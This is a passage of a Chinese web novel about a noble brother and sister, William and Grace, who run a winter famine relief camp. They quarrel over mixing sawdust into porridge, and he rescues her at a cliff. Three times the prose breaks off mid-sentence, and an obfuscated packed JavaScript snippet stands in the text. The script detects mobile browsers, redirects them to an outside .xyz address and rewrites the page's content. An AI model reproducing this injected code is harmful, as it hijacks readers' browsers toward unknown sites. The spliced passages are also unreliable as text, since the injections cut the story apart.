“威廉哥哥，你看他们。卢卡斯送来的这些粮食，加上我们筹措的，够几天？五天？七天？” “寒冬才刚刚开始，大雪封路的日子还在后头。这点粮食，不过是杯水车薪。” 威廉顺着她的手指望去，那些被苦难磨平了生气的面孔让他心头沉重。 他何尝不知，但贵族们的钱粮，岂是那么容易再掏出来的？他们已经尽力了。 “所以，我们需要更多，”格蕾丝收回目光，转向威廉，“而这场被我们扩大的游猎，就是最好的契机。” 她向前一步，声音压得更低，“贵族义捐。威廉哥哥，这是印在纹章册里的贵族义务，是他们写在血脉里的责任。” “丰年锦上添花易，灾年雪中送炭难，但这份‘难’，恰恰是他们最无法推脱的义务。” “卢卡斯既然已经迈出了第一步，送来了这些粮食，对外，这正是贵族行为的表率。那么，我们何不借着他搭好的台子，把这出戏唱得更大？” 威廉的眼神变了，从疑惑转为深深的震动。 “游猎结束，盛宴方酣，正是人心最容易被触动，也是最需要彰显慷慨仁慈的时刻。” 格蕾丝的声音带着一种奇异的、近乎冷酷的清晰，“届时就由卢卡斯这位东道主发起倡议，号召所有与会的庄园主们为流离失所的灾民们慷慨解囊。” “有他带头，有众多贵族在场，有‘义捐’这顶天然的大义冠冕扣下来，谁又好意思当众做个铁石心肠的吝啬鬼呢？尤其是那些……” 说到这时，格蕾丝的唇角勾起一丝极淡的弧度，“尤其是那些夫人小姐们，对于那些热衷于慈善茶会、渴望博取美名的淑女们来说，这岂不是一个发扬声名的好时机？” “名声，哥哥，对于这些人来说，有时候比黄金还重。” 威廉沉默着。 风卷起地上的雪沫，雪花打着旋儿四处纷飞，就好似那晚的风雪再临了一般。 他凝视着妹妹那双在冬日寒光下显得格外深邃的眼睛，那里面跳动着的不是少女的懵懂，而是不属于她这一个年纪的成熟和计算。 她巧妙地将一场私人邀约，扭转成了一个公开的、可以撬动整个郡贵族资源的募捐平台。 利用卢卡斯对邀请成功的满意，利用贵族们对社交场合和名声的天然热衷，更利用了那顶“义务”的高帽，让贵族们不得不对受灾的人群作出表率。 这个计划有失败的风险，但不论如何，灾民们的情况不会比现在更差了。 比起那群如今呆在庄园里享乐的贵族们，威廉得承认，他的妹妹格蕾丝才是真正拥有贵族品质的人，而且是比任何人都具备这一点。 贵族的高洁并不出于身份血统的高贵与否，而是出于是否拥有一颗良善的心。 “你……” 威廉深吸了一口冰冷的空气，胸中被一种复杂的情绪填满。他的神情挣扎，但是最终只吐露出了这一句话： “……计划得很好。” 格蕾丝的目光重新投向那简陋的粮棚，投向那些在寒风中苦苦挣扎的身影。 “计划再好，也要能落进粮仓才算数。”她的声音恢复了平日的柔和。 “我亲爱的威廉哥哥，这场游猎，我们必须去。而且，”她侧过头，对威廉露出一个带着安抚意味的微笑，“你答应过会保护我的，不是吗？” 威廉神色复杂，但看着妹妹眼中那份沉静的笃定和信任，他强将心头微微的心疼略去。 伸出手，轻拍格蕾丝挽过他的那只手臂的位置告诉她：“有我在。” 他抬眼望向管家马车消失的方向，眼神变得锐利而凝重。 那片即将举行盛大围猎的森林，此刻在他眼中，已悄然变成另一片战场——一场为生存而战的无声硝烟，正等待着他们踏入。 但眼前，他们还有更重要的事情亟待去做，那就是关于灾民粮食的分配问题。 威廉将目光重新投向粮棚，那里是这些灾民们在这个冬日生还的最后希望。 他深吸一口气，严肃了神情，对侍卫长费利克斯说道：“开始分配粮食吧，费利克斯。按人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15725470|171995||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 头，确保每个人都能拿到足以支撑几日的份额，以及，老人和孩子优先。” “是，少爷。”费利克斯的行动力很强，立刻指挥他手下的这群侍卫们行动起来了。 威廉转向格蕾丝，准备与她具体地商议分配的数量和细则，却发现她的目光并没有落在已经行动起来的侍卫们的身上，而是越过了他们，投向那些正在被搬动、即将分发的粮食上。 在看向那些粮食的时候，她的眉头微不可察地蹙了一蹙，随即又恢复了平静。 “格蕾丝？”威廉唤她。 格蕾丝这才收回了目光，看向了她。 “威廉哥哥。这些粮食，在分配之前，还是要掺入一定比例的木屑，必须如此。” 威廉愣住了，他甚至以为自己听错了。 他顺着格蕾丝的话再重复了一边：“掺入木屑？” 格蕾丝轻轻点了点头。 “不，格蕾丝。虽然我明白之前掺入木屑的原因，但如今我们已经有了较为充足的粮食，下一批粮食过几日也能到，还有围猎的事……” “你如何能让他们再吃掺有木屑的粥食呢？” “那岂不是……岂不是……”威廉找不到合适的词，只觉得这种做法近乎侮辱，与那些盘剥的税吏无异。 “能让他们活下去。”格蕾丝的回答异常简短，语气平静得近乎冷漠。 “活下去？”威廉的声音不由得拔高了，引得不远处几个正在等待分粮的灾民投来惊疑的目光。 他强压下情绪，压低声音，带着困惑和一丝失望，“格蕾丝，我们现在有粮了，虽然不多，但足够支撑一阵，至少这几天，我们没必要再用那种……那种方式去‘延长’粮食了！” “那是在最绝望、粮袋彻底见底时才不得已为之的下策！让饥肠辘辘的人吃掺杂了木屑的粮食，这算什么仁慈？这会让他们本就虚弱的身体雪上加霜！” 他紧紧盯着妹妹的眼睛，希望能从里面看到一丝犹豫或解释。 但那双深邃的眼眸里只有沉静，像结了冰的湖面，映着他的急切、不解，甚至于隐隐的恳求，可格蕾丝的神情却没有丝毫波澜。 她只是微微抿紧了嘴唇，一言不发，仿佛威廉所有的质问都撞在了一堵无形的墙上。 威廉感到一阵挫败的怒火在胸腔里翻腾。 “格蕾丝，告诉我原因！这太不像你了！你刚刚还在谋划如何从那些贵族口袋里掏出更多的粮食来救人，现在却要对这些已经拿到手的救命粮动手脚？这说不通！” 他上前一步，深绿色的眼眸里带着哀求，“告诉我你的理由，格蕾丝。” 格蕾丝依旧沉默。 她甚至微微侧过身，目光重新投向粮棚下开始排队领取粮食的灾民长龙。 她的沉默像一道冰冷的裂痕，瞬间横亘在兄妹之间。 威廉看着她拒绝沟通的姿态，一股被排斥和被误解的凉意取代了怒火，迅速蔓延开来。 他感到了一种从未有过的疲惫和失望。 26. 第二十六章 你们不能够触动人心而又不伤害它。 ——《红与黑》 “好，既然这样。费利克斯，所有粮食，按照原样分配！不许掺杂任何东西，确保每个人领到的都是实在的粥！” “是的，大人。”费利克斯偷偷看了一眼格蕾丝的脸色，发现她脸色如常，才小心翼翼地退开，吩咐手下人干活去了。 侍卫们加紧了分装清点粮食的速度。 一小部分的粮食作为口粮按到场人数进行了分配，另一部分的粮食则作为储粮，暂时封存，每日筑城粥食固定在救济点分配。 在领取到金灿灿的救济粮后，灾民们的脸上显然露出了久违的真挚的笑容，纷纷对周围的侍卫道出感谢。 看到灾民们的神色，再联想到格蕾丝的“冷漠”与固执，威廉倍感气闷，罕见地收起他的礼仪，径直走向了粮棚，亲自监督粮食的分配。 他觉得他此时急需做点什么来转移被妹妹的沉默和“冷酷”所打击的内心。于是他格外认真地对待分配工作。 “费利克斯！你粮食放的太少了！手不准都抖！粮食都掉出来了！” “费利克斯！粮棚好像有点歪了，赶快去看一下!” "米诺，记得陪年纪大的老人回家，雪地路滑的。" “该铲雪了！路面要结冰了，过来会打滑的！” 威廉一顿训斥，他的侍卫们晕头转向，费利克斯围着威廉团团转，简直要汗流浃背了，他偷偷地把目光投向了格蕾丝，以祈求她来整治一下她的兄长。 可格蕾丝看着威廉左右忙乱的样子，非但没有如费利克斯的愿，反而眉眼弯弯，直接坐在粮棚旁的粮袋上不走了。 可一当威廉转过身，能看到她的面容的时候，她又立马板正了神色，露出那副不近人情的样子。 并非格蕾丝如此冷情，而是威廉该再得一个教训，当他看到这些善良可怜的民众们露出丑恶的一面时，他又会如何抉择呢，格蕾丝漫无边际地想着。 那些拿到粮食的人，脸上纷纷绽放出劫后余生般的感激笑容，对着威廉的方向连连鞠躬道谢，口称“仁慈的老爷”、“救命恩人”。 格蕾丝有些恶毒地想，要不要加快这一进程呢？ 可一转眼，在她又看到威廉近日因粮食缺少而紧绷的面庞，在听到这些感激时，终于流露出一丝宽慰和暖意的时候，她的眼中，又掠过了一丝难以察觉的复杂情绪。 算了，再等等吧。反正这件事迟早都会发生的，现在最重要的是他不教我骑马该怎么办。 格蕾丝默默地起身，走向救济点边缘一个不起眼的角落，那里拴着几匹侍卫换岗用的备用马匹。 她开始观察那些马匹，观察侍卫们上下马的动作，观察他们如何控制缰绳，如何用腿部的力量夹紧马腹。 她看得非常专注，一切粮食的分配喧嚣都与她无关。 兄妹间的冷战，无声无息地拉开了帷幕。 接下来的两天，威廉的命令得到了严格执行。 纯粮分配带来的效果似乎立竿见影。灾民们的脸上少了些死气沉沉，多了点活泛的气息。 虽然依旧寒冷饥饿，但拿到手的实实在在的粮食给了他们希望。威廉走过救济点，总能收获一片片真诚的感激和祝福。 “威廉少爷，愿神灵保佑您！” “谢谢少爷，您救了我们全家啊！” “好人啊，真正的好人老爷！” 这些话语多少抚平了威廉因格蕾丝的沉默和“任性”而产生的烦躁和那一丝自我怀疑。 他甚至开始反思，是不是自己之前太过紧张，误解了格蕾丝？也许她只是太年轻，考虑不够周全？ 毕竟，让灾民吃上干净的粮食，这难道不是天经地义的吗？看着那些因为吃到纯粮而稍稍恢复了些精神的孩子，威廉更加坚定了自己的做法。 格蕾丝，终究还是个会闹点小脾气的孩子。 他这样想着，心头那点对妹妹“冷酷”的不快也渐渐淡了，取而代之的是一种兄长对妹妹偶尔任性的无奈与包容。 而格蕾丝，则彻底将自己抽离出来。 她不再靠近粮棚，不再参与任何分配事务。 她每天大部分时间都待在那个角落，观察马匹和骑马的侍卫。 偶尔，她也会请费利克斯为她讲解一下骑马的基本要领。 费利克斯顿感压力、责任重大，在第一次被格蕾丝请教后，他就立马把这一情况上报给了威廉。 威廉也拿这个妹妹非常棘手，她显然与他冷战了起来，宁愿问侍卫长也不愿意来请教他。果然之前在卢卡斯管家面前的亲近和可爱只是一颗蜜枣，哄得他傻乎乎答应格蕾丝所有请求。 不过，说实话，格蕾丝这样真的很可爱，圆润润的眼睛看着你，亲密地挽着你，这是威廉在这之前的都不曾体会到的，他的另外两个妹妹只会不可爱地提出许多让人头疼的无礼要求。 格蕾丝的学习方式是沉默而专注的。 她用眼神锐利地捕捉每一个细节，然后在侍卫离开后，自己对着马匹无声地比划动作，模拟着上下马、拉缰绳的姿态。 她仿佛在用这种近乎刻意的“不务正业”，无声地表达着她的坚持和与威廉的隔阂。 威廉看在眼里，既觉得有点好笑，又有些无奈和隐隐的心疼。 他不能总让自己的妹妹这样在寒风中冷着脸，一直跟他置气吧。他们还需要一起面对即将到来的卢卡斯庄园的游猎。 于是，在一次短暂的休息间隙，威廉叫住了正要去巡视的侍卫长费利克斯。 “费利克斯，”威廉斟酌着开口，脸上带着一丝兄长特有的、为妹妹烦恼的神情。 “格蕾丝……这两天一直不太高兴，跟我闹别扭呢。你家里有妹妹吗？这种情况，该怎么哄她？” 费利克斯听到这个问题，心中一喜，这两天的低气压真是太难熬了，整个侍卫队里也静悄悄的，谁都不敢大声说话，不过威廉大人的问题也很难回答啊。 费利克斯的脸上显出几分与平时干练形象不符的窘迫。他挠了挠头盔下的短发，瓮声瓮气地回答：“少爷，我家里……只有三个弟弟。成天打架滚泥地的那种。哄妹妹……这个，我真没经验。” 威廉眼中闪过一丝失望。 费利克斯看着少爷的神情，犹豫了一下，像是下定了某种决心， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15737436|171995||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 声音压得更低了：“不过……少爷，我虽然没有妹妹，但是……我有喜欢的人。” 谈到这个，他的脸更红了，“格蕾丝小姐和……都是女孩子，这哄人的法子，说不定……能通用？” 威廉的眼睛瞬间亮了，仿佛抓到了救命稻草。“快说！什么办法？” 费利克斯凑近一点，带着点过来人的神秘和羞涩：“女孩子嘛，有时候生气，其实也不是真生气，就是……就是想要被在意。我每次惹她不高兴，就买点她喜欢的小东西，比如集市上那个老彼得做的蜂蜜糖，或者……或者一朵野花什么的，然后……然后态度好点，诚恳地道个歉，再说点好听的……基本就没事了。” 他说完，似乎觉得自己的建议过于简单，又赶紧补充，“格蕾丝小姐身份高贵，当然不能像我这样随便，但……道理应该差不多？让小姐感受到您的心意？” 威廉又有些头疼了。感受到他的心意——送格蕾丝喜欢的东西。但是格蕾丝喜欢什么呢。 威廉发现他对于格蕾丝地喜好几乎一无所知。费利克斯说女孩子都喜欢甜的蜂蜜糖，但是这个天气，这个环境，根本搞不到蜂蜜唐。 “或许……或许花怎么样呢？”威廉询问费利克斯。 费利克斯立马赞同了威廉的提议。心想只要大人行动起来化解这两天的冷空气就好，不管是什么，肯定格蕾丝小姐会有所软化的。 得到费利克斯赞同的威廉开始在脑海中搜寻起冬日花朵的种类。 能够在冬日盛放的鲜花种类很少，基本上宴会所用的鲜花都是由大棚培养移栽而长，若是他们还在庄园中，那么送格蕾丝一捧鲜花是非常容易的，但是现下他们身处郊外的乡镇里，想要一朵温室里的花朵就无异于天方夜谭了。 威廉决定去问一问这里的民众，熟知当地的人应该知道这里的冬日还有什么花能够绽放。最好是美丽高洁，长久不衰的，他想让花朵开得更久一些，如果妹妹能喜欢的话那就更好了。 然而，当他绕过堆放的杂物，习惯性地瞥了一眼格蕾丝的身影再准备外出的时候，他的笑容瞬间凝固在脸上。 角落空空如也。 那几匹备用的马还在，安静地嚼着干草。但那个总是在这里默默观察、比划动作的身影，不见了。 威廉的心猛地一沉。 他立刻环顾四周，目光急切地在拥挤的救济点扫视。 粮棚下，是排队领粮的灾民和忙碌的侍卫；临时搭建的简陋窝棚间，是蜷缩取暖的身影；更远处是茫茫的雪地和稀疏的树林。哪里都没有格蕾丝那抹熟悉的身影。 “格蕾丝？”威廉的声音带着一丝不易察觉的颤抖，他提高了音量，“格蕾丝！” 无人应答。只有风雪掠过棚顶的呜咽声和灾民低低的交谈声。 一股冰冷的恐慌瞬间攫住了威廉的心。 这两天，格蕾丝虽然跟他冷战，但从未离开过他的视线范围，她总是待在那个角落，用她的方式“抗议”。可现在，她消失了！ “费利克斯！”威廉猛地转身，声音因为焦急而变得严厉嘶哑，盖过了救济点的嘈杂，“格蕾丝不见了！立刻派人去找！所有方向！快！” 27. 第二十七章 凡救一人，即救全世界。 ——《塔木德》 威廉不等费利克斯的回应，转身骑跨上马就朝外飞奔了出去。 时间不等人，他不能够想象格蕾丝现在遭遇了什么样的困境，他能做的唯一只有最快最早地行动起来，找回格蕾丝。 马蹄踏在了冬日里冻得梆硬的土路上，马匹快速的奔袭让地面不断地发出沉重的闷响声。 寒风从四面而来，灌进威廉的领口当中，他顾不上系紧斗篷，胸口冰凉一片。 雪后的村庄静得出奇。再加以灾祸的影响，村庄里的住户十室五空，几个年幼的孩子小心翼翼地从房屋里探头，看清了来人，又很快地缩了回去。 威廉的喊声在空荡荡的街道上面回荡着：“格蕾丝！” “格——蕾——丝！” 但回应他的唯有屋顶上被声音惊起的麻雀们。 威廉勒住缰绳在原地里转了一圈，马匹喷出的白雾瞬间凝结成了细小的水珠。这样的冬日里，格蕾丝又会去哪里呢，她是独自一人出去的吗，威廉的心里打着颤，唯恐那些不妙的想法占据他的脑海。 东边的磨坊，西边的溪流，北面的橡树林，到底应该选择哪一条路。 只能听由命运的指引。 威廉迅速在胸前做了一个小小的祷告，心里默念着：“主啊，求祢指引我找到迷途的妹妹，护佑她平安，我必永远颂扬祢的恩典。阿们。” 他随即选定前往北面的橡树林，径直催马前行。 马鞭抽打空气的声音噼啪作响，马匹在疾驰中肌肉偾张，积雪被马蹄掀起卷入了半空。 橡树林前，威廉猛地拽紧缰绳。 连日大雪初停，向阳的主路已开始解冻，变得泥泞不堪。泥泞中，主干道的两侧延伸出几条岔路，其中通往橡树林的小径上，几枚清晰的马蹄印格外新鲜，边缘正在融雪中微微变形。 威廉跳下马后，靴子立刻陷进冰冷的泥泞里。 他蹲下身，用食指量了量蹄印的凹陷处，大约有半指深，比成年男性骑马所造成的凹陷浅了许多，必然是格蕾丝的踪迹。 得到信息后，威廉再次上马。催着马匹在树木丛生的橡树林里快步前行。 林间里的光线随着他的深入越来越暗，松枝上的积雪时不时地从树干滑落，砸在威廉的肩头，又被他的体温熨帖，化作了冰凉的水珠顺着脖颈流下。 威廉不断用手挡开、扒开横生的树枝荆棘，手背被细小的木刺扎入，留下细细的鲜血。 忽然他听见了前方传来了铃铛声，那是格蕾丝马鞍上所系的铃铛。 威廉心脏开始狂跳，踢马加速，全然不顾抽打在脸上的树枝，他有预感，格蕾丝就在眼前。 越往前，光线越亮。快穿出树林了！威廉的心几乎要跃出胸膛。 然而眼前却豁然出现了一片悬崖！ 威廉猛地拽起缰绳，马匹长嘶着扬起前蹄，扬起的碎石稀稀落落滚入了悬崖，过了一会儿才从崖底传来微弱的回响。 惊魂未定，他用目光急扫四周，格蕾丝的身影豁然眼前。 “格蕾丝！” 威廉刚因悬崖绷紧的心暂时松了下来了。只要格蕾丝没出事就好，他要带着格蕾丝回去。 可格蕾丝此时正单膝跪在积雪的边缘附身查探着什么，听见威廉的喊声后，她愕然地回头，一头棕黑色的头发被山崖边的寒风吹得飞起。 “站着别动！” 威廉突然大喊了一声，吼声瞬间惊飞了大片的乌鸦。 威廉看到格蕾丝脚底下的雪层出现了丝丝蛛网一般的裂纹，意识到了大事不妙。 “咔擦——” 下一瞬，雪块崩塌了。 格蕾丝脸上讶异的神情瞬间被惊骇取代，她的瞳孔骤然收缩，身子不受控制地向后仰倒着，手臂本能地抓向空中，却又因惯性重重地打在裸露的、尖锐的岩块边缘上。 血丝瞬间流了出来。 格蕾丝用受伤的手努力抓住岩缝的边缘，试图借助力量爬上来。她的力量不够，还未爬上来，就要因自身的重力而坠入山崖中了。 威廉跃下马，猛然向前一扑。 悬崖边缘的冻土在他靴底打滑，最后三步他几乎是贴着地面爬过去的。 等到能够到并抓住格蕾丝手腕时，威廉的关节已经发出不堪重负的声响了。 格蕾丝几乎整个人都悬在了空中，衣服摆被崖底的气流卷得猎猎作响。 威廉的手像钳子一样扣住了格蕾丝的手腕，他的指甲陷进她皮肉里，而另一只手则死死抠住裸露的树根。 细小的土块簌簌落下，树根正在松动。 "抓紧！"他从牙缝里挤出这个词，咸腥的血味充满口腔。 在这么近的距离下，威廉正对着格蕾丝的脸，她脸上的绒毛几乎都能够看清了。最让他感到意外的是她的那一双眼睛，即便在如此危急的情况下，格蕾丝的双眼仍然是平静的，甚至在那一刹那的凝视里，威廉竟然荒谬地捕捉到一丝近乎解脱的恣意，威廉几乎怀疑自己看错了格蕾丝的神色。 因为下一秒，格蕾丝就表现出了强烈的求生欲。她浅棕色的双眼里似乎含有泪水，手紧紧钳制住了威廉的手腕，借着他的力道，一点一点地向上攀爬。 突然传来了树根断裂的脆响，这声音让威廉浑身的肌肉都绷紧了起来。 他猛地扭腰把格蕾丝甩向侧面较厚的雪堆，自己却因反作用力滑向崖边。 直到他的靴跟用力地抵住一块凸起的岩石上，终于在边缘半尺处停住了。 格蕾丝趴在雪堆里剧烈咳嗽，抬头看见威廉正艰难地撑起身子。 他们沉默地对视了几秒。 格蕾丝先别开脸，抹掉睫毛上凝霜的泪珠。 威廉走过去拽她起来时，发现妹妹的手冷得像块冰。回程路上两人共乘一匹马，格蕾丝的后背紧贴着他起伏的胸膛。 经过结冰的溪流时，马匹突然打滑，威廉下意识环住妹妹的腰，听见她轻轻叹了口气。 村庄的灯火在暮色中渐次亮起。路过谷仓的时候，格蕾丝突然扯了扯他袖子：“威廉哥哥，我好饿……你有吃的吗？” 威廉从衣服口袋里摸出早餐没来及吃的糕点，两人坐在拴马桩上分着吃，糖渣掉在雪地上引来一群麻雀。 吃完后，格蕾丝又微微叹息了一声，她还是心软了。 “威廉哥哥，你知道为什么我坚持要在粥里掺木屑吗？” 威廉摇头。 这个问题困扰他很久了。 作为子爵的儿子，他日常的饮食虽不奢靡，但也十分精细。每次看到灾民们捧着灰扑扑的粥碗乞食时，他总会想起庄园餐桌雪白的亚麻桌布上那些描金瓷盘，因此他对于格蕾丝的决 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15753705|171995||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 定并不赞同。 而格蕾丝却并未直言，她看着地上叽叽喳喳找着面包碎屑吃的麻雀们，给他讲起一段往事：“福利院有一年的冬天，有个面包商每天送来新鲜的免费的面包。。” 她抬头看向威廉，“可是才到第三天，面包商就不愿再来了。” “因为他看到了有孩子偷领了两次面包，再转卖给了别人……” 暮色渐浓，谷仓投下的阴影将两人笼罩。威廉感到有雪花落在后颈。他想起昨天下午在救济点，是有个抱着婴儿的妇女偷偷排了两次队。 “可或许他们是真的饿——” “所以我们掺木屑。”格蕾丝打断了他，“让粥难以下咽但能活命，这样只有真正需要的人才会来领。” 威廉想起他所受的教育，人们常说“施舍是贵族的义务”，却从没有人教过他该如何处理因施舍引发的混乱。理想和现实的差距，此时被格蕾丝真实地摆在了他的面前。 “我……”威廉的声音变得有些干涩，他没有料想到他的坚持会导致这样的后果。“我只是想让他们吃得……像样一点。至少，不是牲口吃的……” “牲口？”格蕾丝不解地看着他。“威廉哥哥，掺杂木屑的粥是牲口所食的吗？我吃过不少了，你是这样看待我的吗？” “那么在活命面前，牲口又算得了什么呢？只要能在饥饿中填报肚子，即便成为牲口我们也会在所不惜。你怕是没有见过为了一块发霉面包出卖自己身体的女孩吧……” 格蕾丝眼中流露出了深不见底的哀伤，这段诉说让她回忆起了往事。 “所以，你坚持掺木屑，”威廉的声音低沉了下去，他神情忧郁地看着格蕾丝道，“不是为了克扣……不是为了让有限的粮食能支撑得更久。而是是为了……维持一种秩序？” “是秩序，也是……公平。一种残酷的、基于生存底线的公平。让粮食流向最饥饿的胃袋，而不是最贪婪的手。”格蕾丝回答道。 她看着他陷入长久的沉默，几只大胆的麻雀甚至飞到他的手掌中，啄食剩余的面包糠，而他浑然不觉，深邃的眼窝下是片片阴影，紧锁的眉头显示着他内心的激烈交战。 威廉会如何做呢？格蕾丝想着，她还是心软了，明明想让事情到难以挽回的地步，看他在两难之下的抉择。可她临到头了，她还是不忍心，让这样的人陷入这样的处境当中。 “我明白了。”经过一番沉思，威廉终于开了口。 “明天……”他顿了顿，似乎在斟酌词句，“明天熬粥，按你的方法来。” 他用些许紧张的目光迎上格蕾丝带着询问的眼神，“但……关于用量和监管，我们一起再仔细想想。既要……有效，也要……”他似乎在寻找一个合适的词，最终，轻轻吐出，“尽可能……少些痛苦。” 她轻轻点了点头，等待他的想法。 “我们往粥里加石头而不是木屑。” 格蕾丝挑眉：“是个不错的主意，不会划伤他们的喉咙。” 威廉大松了一口气，面对这个妹妹，他总是莫名感觉提心吊胆的。 “那么我们现在一起回去吧。”威廉将他肩上的披风取下，裹紧了格蕾丝，准备带着她快速回到营地。 等费利克斯举着火把找来时，看见的就是这样一幕：兄妹俩紧紧贴在一起，而格蕾丝正把最后一块糕点屑抹在威廉手心里。 28. 第二十八章 我的感情和愿望从未改变。 ——《傲慢与偏见》 “威廉大人！格蕾丝小姐！”费利克斯脱口道。 威廉正弯腰为格蕾丝整理披风，闻声手上一顿。下一刻迅速将披风严严实实地裹紧格蕾丝单薄的肩头，仔细系好了领口的系带，确保没有一丝风寒能够钻进去，这才转过身面对他的侍卫长。 格蕾丝微微低下头，看了看系得死紧的系带，伸手扯了扯，没扯开。 “救济点现在如何了？”威廉清了清喉咙，向费利克斯发问道。 费利克斯顿了顿神，语速很快地交代道：“大人，救济点目前还算安稳。部分人手留在救济点里守在粮垛，其余的都散开来寻找您和格蕾丝小姐了，天黑前应当都能够返回。” 威廉点了点头，目光不经意地扫过费利克斯冻得发红的脸颊和沾满泥土的鞋子。 “辛苦你们了。”他略带歉意地说。 “大人，这是我们应该做的。”费利克斯恭敬地低下了头。 威廉拍了拍费利克斯的肩膀，随即转向了格蕾丝，将声音放轻了些许，“走吧，我们回去。” 格蕾丝还在和披风的领带较劲，闻言瞟了他一眼，威廉不自在地咳了咳。于是格蕾丝挪动脚步，跟着威廉一起走向他那匹高大的栗色马。 威廉小心地托着她的手臂，轻轻一送，格蕾丝便有些费力地攀上了马鞍。她实在太瘦小了，坐在高大的马背上，几乎被威廉的胸膛完全给挡住了。 威廉利落地翻身上了马，坐在她的身后，双臂自然地环过她的身侧，握住了缰绳。紧接着缰绳一甩，马儿便迈开了步伐，哒哒的马蹄声落在静悄悄的荒野上，格外清晰。 费利克斯也翻身上马，不远不近地跟着一起前行。 格蕾丝随着马匹行进的节奏微微晃动着，后背不时轻轻撞在威廉的身上。威廉低下头，只能看见她披风兜帽下被风吹散的几缕棕色头发，以及那尖尖的、几乎没有什么血色的小下巴。 威廉忽然意识到，这段时间格蕾丝一直随着他们一起饥饿劳累，还经受病痛，对此她却始终一言不发。他想起不久前还在埃斯顿庄园的时候，他偶尔能够在餐桌上看见格蕾丝的身影，烛火下她的脸颊红润润的，用餐的礼仪很合规矩，但是用餐的速度飞快，活像一只小仓鼠在储存粮食，非常可爱的样子。 然而这几日的风波与颠沛，就如同无情的寒风，瞬间让这朵还未彻底绽开的花朵提前经历了寒风，刚有些圆润的下巴瞬间就尖了出来，钝钝地扎人的心。 威廉拢在缰绳上的手无意识地收紧了，仿佛这样就能替她挡住所有的寒冷和疲惫。自责就像冰冷的溪水，无声地漫过心堤，是他没能把她护在安稳的屋檐下。 马蹄踏过一片冻结的洼地，颠簸了一下。 格蕾丝小小的身体因这颠簸猛地向后靠紧了他，威廉下意识地收拢手臂，将她更稳地圈在怀中。 周围安静极了，只有马蹄踏碎冰凌的脆响和费利克斯脚下枯枝断裂的轻响。 威廉喉结滚动了几下，终于打破了沉默，带着一丝不易察觉的试探： “格蕾丝，”他顿了顿，似乎在选择措辞，“告诉我，为什么要一个人跑出来？救济点再安全不过了。” 怀里的身体明显僵了一下。格蕾丝没有回头，只是几不可察地侧了侧脸，丢给他一个清晰的白眼，随即又把脸转回去，只留给他一个固执的后脑勺和兜帽的轮廓。 威廉无声地叹了口气。他开始笨拙地猜测，像一个面对谜题手足无措的孩子。 “是……想要什么东西？救济点没有的？吃的？玩的？”他努力回忆着庄园里那些或许能吸引少女的小玩意儿，他的另外两个妹妹只喜欢宝石和首饰，他想不出格蕾丝想要什么。 格蕾丝幅度很小地摇了摇头，披风的毛领蹭过威廉的下巴，带来一点微痒的触感。 “那是……觉得营地太闷？”威廉继续试探，眉头微蹙，“或者……是我让你不高兴了？” 沉默依旧。 费利克斯骑着马远远跟在后头，背影挺直，仿佛对他们的对话充耳不闻。 威廉的目光落在格蕾丝紧握着缰绳边缘、冻得有些发红的手上。一个念头忽然闪过，带着点不可思议的微光。 “还是说……”他犹豫着，声音放得更轻，“是因为……我们之前……嗯……在骑马那事上闹得不愉快？” 这一次，格蕾丝的肩膀几不可察地微微塌陷了一点，仿佛紧绷的弦松了一丝，但她仍旧没有回头，也没有吭声。 这细微的变化落在威廉眼里，几乎就是默认。 他心中的困惑却并未减少，反而更深了。他了解格蕾丝骨子里的那份谨慎，即便再置气，她也绝不会毫无顾忌地独自一人跑到如此偏远、危险的悬崖边。一个更合理的猜想浮现出来。 “所以，”威廉的声音带着一丝了然，也有一丝后怕，“你是想自己练习骑马，结果……马不听使唤，把你带到那悬崖边了？” 他几乎能想象出那惊心动魄的场景，一匹受惊或是不驯的马，驮着惊慌失措的她奔向绝境，“你其实……还没学会怎么真正控制它，对吗？” 这句话，精准地刺破了格蕾丝强撑的沉默。 她猛地转过头，兜帽下那双茶褐色的眼睛带着薄薄的愠怒和一丝被戳穿的羞恼，狠狠瞪了他一眼。 紧接着，她那只没被束缚住的手突然抬起，用力抓住威廉胸前的衣襟，狠狠地向下一拽！ 威廉猝不及防，高大的身躯被这突如其来的力道拉得向前一倾，下巴几乎撞上格蕾丝的头顶。 一瞬间，两人身体紧贴，格蕾丝身上清冷的气息和他衣襟上沾染的尘土与霜寒的味道混杂在一起。这过近的距离只维持了短短一瞬，威廉几乎是本能地立刻绷紧腰腹，猛地向后回弹，重新拉开了那点微不足道的空间。动作快得像被火燎到。 费利克斯有些震惊地看着眼前的异动，犹豫再三，决定再离威廉他们远一点。 